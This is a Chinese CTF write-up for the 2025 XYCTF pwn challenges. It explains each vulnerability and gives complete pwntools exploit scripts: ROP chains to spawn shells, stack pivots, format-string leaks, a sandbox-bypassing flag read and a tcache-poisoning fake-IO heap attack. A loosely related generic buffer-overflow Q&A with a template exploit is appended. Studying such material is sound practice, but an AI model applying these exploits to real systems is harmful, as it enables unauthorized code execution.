2025 XYCTF Pwn-wp(含附件)

前言

总体来说Pwn方向题目难度属于中等,属于那种一眼看不出要咋做,但多试试又能做出来的那种,比赛的时候甚至有几只队伍AK了Pwn方向。感觉题目还是很不错的尽管比赛中有一些小意外像是有些题目附件给错了,但是XYCTF的师傅们都是无偿出题纯热爱向大伙分享自己的题目和知识,感谢所有XYCTF出题的师傅,明年我还来打(〃'▽'〃)

通过网盘分享的文件:2025XYCTF.rar
链接: https://pan.baidu.com/s/1yf7piV-H4U2qtXiQyo9eBw?pwd=xidp 提取码: xidp
其中含有pwn方向全部赛题、官方wp、奶龙出题人提供的奶龙wp以及ddw队伍的师傅分享在群里的pwn方向全解wp

Ret2libc’s Revenge

第一次遇到这种题目,刚打开就感觉很奇怪,以往做过的绝大多数题目都是利用setvbuf函数关闭缓冲区来达到直接输入/输出的效果,但是这个题目特意将输出的缓冲区开启了,导致正常情况下之后程序结束刷新了缓冲区才会有输出,具体如下图所示:
![[Pasted image 20250407153900.png]]
![[Pasted image 20250407153841.png]]

下图展示setvbuf函数的作用:
![[f818f1b81faddd900546b9a2bc42c54.png]]
而我们运行程序可以看到我们需要先输入,等程序结束后才会有输出
![[Pasted image 20250407154114.png]]

而原本输出的内容会优先存放在一个堆空间中,这个就是我们说的缓冲区
![[Pasted image 20250407154405.png]]

看到这道题原本我的思路是再次构造setvbuf函数来关闭输出的缓冲区,然后利用程序中的数组溢出来构造ROP泄露libc基地址,但是多次尝试后失败了,因为程序中所能够使用的gadget太少了,没办法合理的控制rcx寄存器,并且程序中也没有含有fflush函数最终使得我的思路是将输出缓冲区填满,来泄露libc基地址然后打ret2libc(毕竟这个题目叫ret2libc的复仇)
还需要注意题目是数组溢出,覆盖的时候不要无脑覆盖,需要通过调试确定idx变量在栈中的位置,需要把idx变量覆盖成合理的大小,不然就没办法覆盖到下面的数据,或者由于idx变量被覆盖成奇怪的数据而到处乱覆盖

完整exp如下:

from xidp import *

#---------------------初始化----------------------------

arch = 64
elf_os = 'linux'
challenge = "./pwn2"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# 这里的libc版本为Ubuntu GLIBC 2.35-0ubuntu3.9
ip = '39.106.48.123:44314'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
# bps = [0x040127A, 0x401261, 0x7ffff7c8aefd]
bps = [0x040127A]
# bps = []
#---------------------debug-------------------------------

'''
b *0x040127A ret
b *0x00040122F          mov     eax, [rbp+var_4]
0x7fffffffdc50 输入地址
0x7fffffffde68: 0x0000000800000007
0x7fffffffde68+0x4是v6地址,必须保证v6合理正确
watch *(0x7fffffffded8)
watch *(0x7fffffffdee8)
0x7fffffffdef8 v6
0x7fffffffdce0 输入地址
x/30gx 0x7fffffffdec8
watch *(0x405690)
'''

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
stdout_addr = 0x404060
mov_edi_esi_ret = 0x0000000000401181#: mov edi, esi; ret;
add_rsi_rbp_ret = 0x00000000004010eb#: add rsi, qword ptr [rbp + 0x20]; ret;
mov_rdi_rsi_ret = 0x0000000000401180#: mov rdi, rsi; ret;
pop_rbp_ret = 0x000000000040117d#: pop rbp; ret;
mov_rdi_rax_call_ret = 0x00000000004011f0 #: mov rdi, rax; call 0x10a0; mov eax, 0; pop rbp; ret;
xor_rdi_and_rsi_ret = 0x00000000004010e0#: xor rdi, rdi; nop; and rsi, 0; ret;
load_puts = 0x400600
puts_str = 0x40128D

payload = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload += p64(puts_str)

# 这里本地和远程的缓冲区大小不一样,所以循环的次数也不一样
# for i in range(214): 
for i in range(52):
    io.sendline(payload)

payload2 = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload2 += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(puts_str)
io.sendline(payload2)

# for i in range(215):
for i in range(53):
    io.recvuntil(b"Ret2libc's Revenge\n")

puts_addr = uu64()
leak('puts_addr')
libc_base = puts_addr - libc.symbols['puts']
# one = [0xebd43, 0xebd3f, 0xebd38, 0xebce2, 0xebc88, 0xebc85]
# one_gadget = libc_base + one[5]
leak('libc_base')
# leak('one_gadget')

  

binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
ret = libc_base + 0x00000000000f7493#: ret;

# pwndbg(0, bps, 1)
payload3 = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload3 += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh_addr)
payload3 += p64(ret)
payload3 += p64(system_addr)
io.sendline(payload3)

ia()

![[Pasted image 20250407155147.png]]

girlfriend

也是保护全开
![[Pasted image 20250407162601.png]]

同时开启了sandbox保护,不允许使用open(所以我们可以使用openat来代替open)
并且这里可以看出read函数第一个参数必须为0,而我们知道我们一般打开文件读取文件中的内容一般read第一个参数是3,而这里绕过的方法其实也很简单,我们在使用openat之前使用一个close(0)就可以关闭标准输入流,等我们使用openat打开flag文件的时候就会被默认为是0,此时read(0,x,x)就是读取文件中的内容
![[Pasted image 20250407163159.png]]

大致程序如下,不过多介绍,大家可以自己下载附件查看
![[Pasted image 20250407162717.png]]

选项3 有格式化字符串漏洞,可以用用于泄露各种地址以及canary
选项1 有16字节的溢出,可以用于栈迁移,但是有次数限制只有一次
所以我的思路大致就是第一次先利用格式化字符串漏洞泄露程序基地址canarylibc基地址,第二次也是选择进入格式化字符串的选项中但是不是为了使用格式化字符串漏洞而是为了在这个bss段布置ROP链来打ORW(这里需要注意,前面0x38字节最好不要布置ROP链,因为可能会覆盖掉重要的全局变量,导致后面的栈迁移无法使用,如下图所示),
![[PUD(V}H[]CPVAV~CDPU9HQE.png]]

然后第三次就是栈迁移了

具体exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./girlfriend"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# 这里的libc版本为Ubuntu GLIBC 2.35-0ubuntu3.9
ip = '47.93.96.189:22535'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
menu = "Your Choice:\n"  
def talk_her(content):  # 只有一次机会
    sdla(menu, str(1))  
    sda("what do you want to say to her?", content)  
def get_name(comment):  
    sdla(menu, str(3))  
    sda("You should tell her your name first", comment)
    io.recvuntil("your name:\n")

canary_offset = 15
libc_offset = 17
elf_offset = 7

# step 1: leak canary, libc_base, elf_base
get_name("%15$p_%17$p_%7$p")
io.recvuntil("0x")
canary = int(io.recv(16),16)
io.recvuntil("0x")
libc_base = int(io.recv(12),16) - 0x29D90
io.recvuntil("0x")
elf_base = int(io.recv(12),16) - 0x18D9
leak('canary')
leak('libc_base')
leak('elf_base')

bss_addr = elf_base + 0x004060
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;
pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;
syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;
leave_ret = libc_base + 0x000000000004da83#: leave; ret;
opnat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr = libc_base + libc.sym['close']  

rop2 = flat([
    pop_rdi_ret, 0,
    close_addr,
    pop_rdi_ret, -100,
    pop_rsi_ret, bss_addr,
    pop_rdx_r_ret, 0x0, 0,
    opnat_addr,
    pop_rdi_ret, 0,
    pop_rdx_r_ret, 0x100, 0,
    read_addr,
    pop_rdi_ret, 1,
    pop_rdx_r_ret, 0x100, 0,
    pop_rax_ret, 1,
    write_addr,
])


put(hex(len(rop2)))

rop1 = flat([
    'flag\x00\x00\x00\x00', 0,
    0, 0,
    0, 0,
    0,
])

put(hex(len(rop1)))

rop = rop1 + rop2
put(hex(len(rop)))

get_name(rop)

# pwndbg(1, bps, 1)
# x/30gx $rebase(0x04060)
# x/30gx $rebase(0x04094)
payload = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30) + p64(leave_ret)
talk_her(payload)

ia()

![[Pasted image 20250407155951.png]]

明日方舟寻访模拟器

康康保护,发现没有canaryPIE
![[Pasted image 20250407195113.png]]

漏洞点在抽完之后退出可以向好友炫耀,炫耀的时候会让用户输入名字,这里存在read的溢出
![[Pasted image 20250407195151.png]]

整个题目总体比较常规,第一次利用溢出控制rbp寄存器因为通过观察我们可以发现控制rbp寄存器就可以控制read函数的输入地址
![[Pasted image 20250407195340.png]]

这里我们第一次用溢出修改rbp寄存器的值然后返回到图中所示位置再次使用read
第二次让read函数在我们指定的位置(bss段)打入一个ROP,并且我们再次控制rbp寄存器进行栈迁移就可以获得shell
但是我们还需要注意,在程序的最后又一个close(1),也就是哪怕我们拿到shell也没有办法让内容输出到终端上,所以我们还需要使用 exec 1>&2 这个指令将标准输出重定向到标准错误中

完整exp如下

from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./arknights"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '8.147.132.32:36781'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x04018B9, 0x40191C, 0x4018b9]
#---------------------debug-------------------------------

leave_ret = 0x0000000000401393#: leave; ret;
pop_rdi_ret = 0x00000000004018e5#: pop rdi; ret
pop_rsi_r15_ret = 0x0000000000401981#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
bss_addr = 0x405000 + 0xd00#: bss
system_addr = elf.plt['system']
call_read = 0x4018A8

io.recvuntil("欢迎使用明日方舟寻访模拟器!祝你好运~\n")
io.sendline('') # 随便输入一个吧

io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n")
io.sendline('1') # 单抽
io.sendline('')
io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n")
io.sendline('4') # 结束

# pwndbg(0, bps, 1)


io.recvuntil("请选择:[1]向好友炫耀 [2]退出\n")
io.sendline('1') # 这里选择1 就存在溢出了

# pwndbg(0, bps, 1)

io.recvuntil("请输入你的名字:")
payload = b'a' * 64
payload += p64(bss_addr + 0x40) # rbp-0x40等于第二次read的输入地址
payload += p64(call_read)
'''
0x405d00 第二次read的输入地址
'''
io.send(payload)

binsh_addr = 0x405d00
rop_chain = b'/bin/sh\x00'
rop_chain += p64(ret) #5F C3 0x4018e6 (main+446) ◂— ret
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(binsh_addr)
rop_chain += p64(system_addr)
  
payload = rop_chain.ljust(0x40,b'\x00')
payload += p64(bss_addr) # 这里是栈迁移控制rbp
payload += p64(leave_ret)
io.send(payload)

ia()

# 最后还需要使用下面这个指令来重定向标准输出
# exec 1>&2

![[Pasted image 20250407200130.png]]

Ez3.0

深入异构 PWN:PowerPC&ARM&MIPS-先知社区
这题和上面博客中的split基本上一致

就是很普通的栈溢出,不过是mipsel架构
需要了解一些mips架构的基本的指令和用法
![[G)_G%WWVUVF4@}T`~@@OQLP.png]]

![[KP3I8MVY2`JMTDEL(4J[T@H.png]]

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./EZ3.0"])
# io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "-g", "12345", "./EZ3.0"])

elf = ELF("./EZ3.0")
# libc = ELF("/usr/mipsel-linux-gnu")

binsh_cat = 0x0411010 # /bin/cat flag.txt
lw_a0_8sp = 0x00400a20#: lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop;
system_addr = 0x00400B70 # system

# gdb.attach(target=("localhost", 12345), exe=elf.path, gdbscript="b *0x04008E0\nb *0x04009B4")
# pause()

payload = b'a' * 36
payload += p32(lw_a0_8sp)
payload += p32(0)
payload += p32(system_addr)
payload += p32(binsh_cat)
io.sendafter(">", payload)

io.interactive()

![[Pasted image 20250407203141.png]]

heap2

一个有点怪怪的题目,本地可以ORW拿到flag,但是远程就是不行,泪目
由于程序开启了沙箱保护,所以在bins中残留了非常多的堆块
![[Pasted image 20250408120732.png]]

![[Pasted image 20250408120326.png]]

而题目的漏洞点在于free的时候存在UAF
[Pasted image 20250408120458.png]]![在这里插入图片描述

上面这一段C++伪代码大致和下面的C语言逻辑相同
![[Pasted image 20250408120537.png]]

因此我们思路大致就是利用这个UAF实现任意地址写,控制IO_list_all最后使用House of apple 或者 House of cat来打ORW实现flag的读取

这里由于本人构造的fake_IO只在本地打通,并且不知道为什么远程打不通(后续知道原因后会对本篇文章进行更新),所以为了不误导其他人,这里只做如何达成任意地址写来控制IO_list_all的分享具体我是如何构造fake_IO的就不过多介绍了,因为我只是个套板子的小鬼罢了不知道哪里有问题(我在百度网盘分享的文件中有别的队伍师傅的wp大家可以学习别的师傅是如何构造打通远程的)

由于bins中空的块太多了,所以为了不让原本的chunk干扰到我们构造,我选择了使用0x250大小的堆块

使用的方法为House of botcake
具体构造如下所示,
![[Pasted image 20250408121213.png]]

menu = "> "
def add(size, content):
    io.sendlineafter(menu, str(1))
    io.sendlineafter("size: ", str(size))
    io.sendafter("data: ", content)

def free(idx):
    io.sendlineafter(menu, str(3))
    io.sendlineafter("idx: ", str(idx))

def show(idx):
    io.sendlineafter(menu, str(2))
    io.sendlineafter("idx: ", str(idx))

for i in range(10):
    add(0x240,b'a') # 0-9
  
add(0x500,b'a') # 这个用来伪造IO chunk10
for i in range(7):
    free(i)

free(7)
show(7)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x203B20
leak("libc_base", libc_base)
IO_list_all = libc_base + 0x2044C0
leak("IO_list_all", IO_list_all)

free(9)
show(9)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x15C40
leak('heap_base', heap_base)
tcache_chunk = heap_base + 0x15EA0
leak("tcache_chunk", tcache_chunk)
fake_IO_addr = heap_base + 0x16330
leak("fake_IO_addr", fake_IO_addr)

free(8)
add(0x240, b'bbbbbbbb')
free(8)
# 这里把整个unsortedbin申请出来就可以控制tcache指针了

payload = p64(0)
payload = payload.ljust(0x240, b'\x00')
payload += p64(0) + p64(250)
payload += p64(IO_list_all ^ (tcache_chunk >> 12))
# 这里绕过tcache的指针加密,将指针修改为IO_list_all
add(0x6e0, payload)
add(0x240, b'aaaaaa')
add(0x240, p64(fake_IO_addr))
add(0x600,b'a') # 防止被合并 11
free(10)

效果如下:
![[HYG_K(X1L[(_@O~@HFVPO_W.png]]

我的完整exp:

from xidp import *
#---------------------初始化----------------------------

arch = 64
elf_os = 'linux'
challenge = "./heap2"
libc_path = './libc.so.6'
ip = ''

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
menu = "> "
def add(size, content):
    io.sendlineafter(menu, str(1))
    io.sendlineafter("size: ", str(size))
    io.sendafter("data: ", content)

def free(idx):
    io.sendlineafter(menu, str(3))
    io.sendlineafter("idx: ", str(idx))

def show(idx):
    io.sendlineafter(menu, str(2))
    io.sendlineafter("idx: ", str(idx))

for i in range(10):
    add(0x240,b'a') # 0-9

add(0x500,b'a') # 这个用来伪造IO chunk10

for i in range(7):
    free(i)

free(7)
show(7)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x203B20
leak("libc_base", libc_base)
IO_list_all = libc_base + 0x2044C0
leak("IO_list_all", IO_list_all)

free(9)
show(9)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x15C40
leak('heap_base', heap_base)
tcache_chunk = heap_base + 0x15EA0
leak("tcache_chunk", tcache_chunk)
fake_IO_addr = heap_base + 0x16330 + 0x510
leak("fake_IO_addr", fake_IO_addr)

free(8)
add(0x240, b'flag\x00\x00\x00\x00')
free(8)
# 这里把整个unsortedbin申请出来就可以控制tcache指针了

payload = p64(0)
payload = payload.ljust(0x240, b'\x00')
payload += p64(0) + p64(250)
payload += p64(IO_list_all ^ (tcache_chunk >> 12))
add(0x6e0, payload)
add(0x240, b'flag\x00\x00\x00\x00')
add(0x240, p64(fake_IO_addr))


# 下面开始伪造fake_IO结构体
chunk3 = fake_IO_addr # 伪造的fake_IO结构体的地址
pop_rdi_ret = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rdx_ret = libc_base + 0x00000000000ab891#: pop rdx; or byte ptr [rcx - 0xa], al; ret;
pop_rax_ret = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall_ret = libc_base + 0x0000000000098fb6#: syscall; ret;
ret = libc_base + 0x00000000001169a3#: ret;
# ret = pop_rdi_ret + 1
setcontext = libc_base + libc.sym['setcontext']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
leak('setcontext', setcontext)
leak('IO_wfile_jumps', IO_wfile_jumps)
# leak('open_addr', open_addr)
leak('read_addr', read_addr)
leak('write_addr', write_addr)

fake_IO_FILE  = p64(0)*2 + p64(1) + p64(chunk3+0x8)  
fake_IO_FILE  =fake_IO_FILE.ljust(0x60,b'\x00')  
fake_IO_FILE += p64(0)+p64(chunk3+0xf8)+p64(system_addr) #rdi,rsi
fake_IO_FILE += p64(heap_base)              
fake_IO_FILE += p64(0x100)                       #rdx
fake_IO_FILE  = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(chunk3 + 0x8)                  #_wide_data,rax1_addr
fake_IO_FILE += p64(chunk3 + 0xf0) + p64(ret)      #rsp
fake_IO_FILE += p64(0) + p64(1) + p64(0)*2
fake_IO_FILE += p64(IO_wfile_jumps + 0x30)        # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(setcontext+61) +  p64(chunk3+0xc8)
fake_IO_FILE += p64(read_addr)

add(0x600,fake_IO_FILE) # 布置fake_IO


orw  = p64(pop_rdi_ret) + p64(heap_base+88576)  
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base+0x100)
orw += p64(read_addr)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(heap_base+0x100)
orw += p64(write_addr)

io.sendlineafter(menu, str(4))

sleep(0.3)

io.sendline(orw)

# pwndbg(1, bps, 1)
# x/30gx $rebase(0x0051B0)

ia()

本地打通的效果:
![[Pasted image 20250408144924.png]]

奶龙回家

web苦手

bot

上面三个没打出来,好累啊,不想复现了,有空再做吧(咕咕咕… …)

如果有师傅有不同的做法欢迎添加我好友或评论区进行分享,我很乐意学习不同的方法(* ̄︶ ̄)

### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界的PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值